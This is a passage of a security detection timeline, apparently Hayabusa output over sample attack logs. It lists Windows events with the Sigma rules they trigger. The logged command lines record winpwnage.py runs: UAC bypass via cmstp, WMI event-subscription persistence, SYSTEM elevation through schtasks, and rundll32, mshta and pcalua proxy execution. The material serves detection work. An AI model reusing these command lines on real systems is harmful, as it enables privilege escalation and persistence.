+09:00,IEWIN7,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:10:10.889 +09:00,IEWIN7,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:28:17.176 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 17 -p c:\windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:19.567 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmstp.exe"" /au c:\users\ieuser\appdata\local\temp\tmp.ini : Path: C:\Windows\System32\cmstp.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 17 -p c:\windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:19.567 +09:00,IEWIN7,1,high,Bypass UAC via CMSTP,,rules/sigma/process_creation/win_uac_cmstp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:22.598 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7},rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:22.598 +09:00,IEWIN7,13,high,CMSTP Execution Registry Event,,rules/sigma/registry_event/sysmon_cmstp_execution_by_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:22.598 +09:00,IEWIN7,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:57:49.903 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -5 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:22.809 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.215 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH CommandLineEventConsumer CREATE Name=""BotConsumer23"", ExecutablePath=""c:\Windows\System32\cmd.exe"", CommandLineTemplate=""c:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.340 +09:00,IEWIN7,20,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.418 +09:00,IEWIN7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.450 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __FilterToConsumerBinding CREATE Filter='__EventFilter.Name=""BotFilter82""', Consumer='CommandLineEventConsumer.Name=""BotConsumer23""' : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.590 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __EventFilter CREATE Name=""BotFilter82"", EventNameSpace=""root\cimv2"", QueryLanguage=""WQL"", Query=""SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:39.746 +09:00,IEWIN7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:50.090 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.762 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.762 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.762 +09:00,IEWIN7,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.887 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH CommandLineEventConsumer WHERE Name=""BotConsumer23"" DELETE : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.903 +09:00,IEWIN7,20,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.981 +09:00,IEWIN7,19,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:55.028 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __EventFilter WHERE Name=""BotFilter82"" DELETE : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:55.090 +09:00,IEWIN7,21,high,WMI Event Subscription,,rules/sigma/wmi_event/sysmon_wmi_event_subscription.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:55.153 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=""BotFilter82""' DELETE : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 03:10:42.434 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -i 1 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_from_admin_to_system_handle_inheritance.evtx +2019-05-12 03:10:42.668 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\lsass.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_from_admin_to_system_handle_inheritance.evtx +2019-05-12 03:10:42.668 +09:00,IEWIN7,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_from_admin_to_system_handle_inheritance.evtx +2019-05-12 09:32:24.461 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:30.211 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /create /xml c:\users\ieuser\appdata\local\temp\elevator.xml /tn elevator : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:30.211 +09:00,IEWIN7,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:30.211 +09:00,IEWIN7,1,high,Suspicius Add Task From User AppData Temp,,rules/sigma/process_creation/win_pc_susp_schtasks_user_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:35.258 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /run /tn elevator : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:35.352 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: taskeng.exe {9C7BC894-6658-423B-9B58-61636DBB1451} S-1-5-18:NT AUTHORITY\System:Service:,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:40.342 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /delete /tn elevator : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 22:30:32.931 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 9 -p c:\Windows\system32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:30:46.400 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" ieframe.dll,OpenURL c:\users\ieuser\appdata\local\temp\ieframe.url : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u execute -i 9 -p c:\Windows\system32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:30:46.400 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:30:46.556 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\rundll32.exe"" ieframe.dll,OpenURL c:\users\ieuser\appdata\local\temp\ieframe.url",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:32:58.167 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,OpenURL file://C:/Windows/system32/calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:32:58.167 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:37.078 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,FileProtocolHandler calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:37.078 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:59.743 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,FileProtocolHandler file://C:/Windows/system32/calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:59.743 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.523 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/programdata/calc.hta : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.523 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\mshta.exe"" ""C:\programdata\calc.hta"" : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/programdata/calc.hta",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,high,Windows Shell Spawning Suspicious Program,,rules/sigma/process_creation/win_shell_spawn_susp_program.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:01.383 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\mshta.exe"" ""C:\programdata\calc.hta"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:55:56.626 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 12 -p c:\Windows\System32\calc.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_shdocvw_openurl.evtx +2019-05-12 22:56:12.652 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" shdocvw.dll,OpenURL c:\users\ieuser\appdata\local\temp\shdocvw.url : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u execute -i 12 -p c:\Windows\System32\calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_shdocvw_openurl.evtx +2019-05-12 22:56:12.652 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_shdocvw_openurl.evtx +2019-05-12 22:58:39.850 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 14 -p c:\Windows\System32\calc.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_zipfldr_RouteTheCall.evtx +2019-05-12 22:58:54.897 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" zipfldr.dll,RouteTheCall c:\Windows\System32\calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u execute -i 14 -p c:\Windows\System32\calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_zipfldr_RouteTheCall.evtx +2019-05-12 22:58:54.897 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_zipfldr_RouteTheCall.evtx +2019-05-12 23:18:03.589 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_rundll32_advpack_RegisterOCX.evtx +2019-05-12 23:18:09.589 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" advpack.dll,RegisterOCX c:\Windows\System32\calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_rundll32_advpack_RegisterOCX.evtx +2019-05-12 23:18:09.589 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_rundll32_advpack_RegisterOCX.evtx +2019-05-13 02:01:43.391 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:01:50.781 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\pcalua.exe"" -a c:\Windows\system32\calc.exe : Path: C:\Windows\System32\pcalua.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:01:51.007 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\pcalua.exe"" -a c:\Windows\system32\calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:01:51.007 +09:00,IEWIN7,1,low,Indirect Command Execution,,rules/sigma/process_creation/win_indirect_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:09:02.275 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" pcwutl.dll,LaunchApplication c:\Windows\system32\calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_rundll32_pcwutl_LaunchApplication.evtx +2019-05-13 02:09:02.275 +09:00,IEWIN7,1,medium,Code Execution via Pcwutl.dll,,rules/sigma/process_creation/win_susp_pcwutl.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_rundll32_pcwutl_LaunchApplication.evtx +2019-05-13 02:09:02.275 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_rundll32_pcwutl_LaunchApplication.evtx +2019-05-13 02:20:01.980 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:31.183 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 11 -p c:\Windows\system32\calc.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:49.443 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /C c:\Windows\system32\calc.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\ftp.exe"" -s:c:\users\ieuser\appdata\local\temp\ftp.txt",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:49.443 +09:00,IEWIN7,1,medium,Suspicious 